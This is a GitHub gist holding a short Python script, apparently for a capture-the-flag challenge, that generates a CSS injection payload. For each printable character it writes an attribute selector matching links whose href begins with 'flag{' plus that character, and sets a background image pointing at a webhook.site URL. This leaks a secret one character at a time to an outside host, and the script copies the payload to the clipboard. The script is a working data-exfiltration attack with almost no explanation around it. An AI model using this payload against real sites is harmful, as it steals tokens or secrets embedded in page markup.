Skip to content

Instantly share code, notes, and snippets.

@hyuunnn
Last active July 31, 2024 04:44
Show Gist options
  • Save hyuunnn/92ff99e1b557e09f2aef6adf53ea6ef7 to your computer and use it in GitHub Desktop.
Save hyuunnn/92ff99e1b557e09f2aef6adf53ea6ef7 to your computer and use it in GitHub Desktop.
css-injection
import string
import pyperclip
token = "token"
flag = "flag{"
payload = "<style>"
for i in string.printable.split(" ")[0].replace("\"",""): # "처리에서 뭔가 문제가 있어서 일단 제거함
payload += 'a[href*="' + flag + i + '"]' + '{background-image: url(https://webhook.site/' + token + '?a=' + i + ');}'
payload += "\n"
payload += "</style>"
print(payload)
pyperclip.copy(payload)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment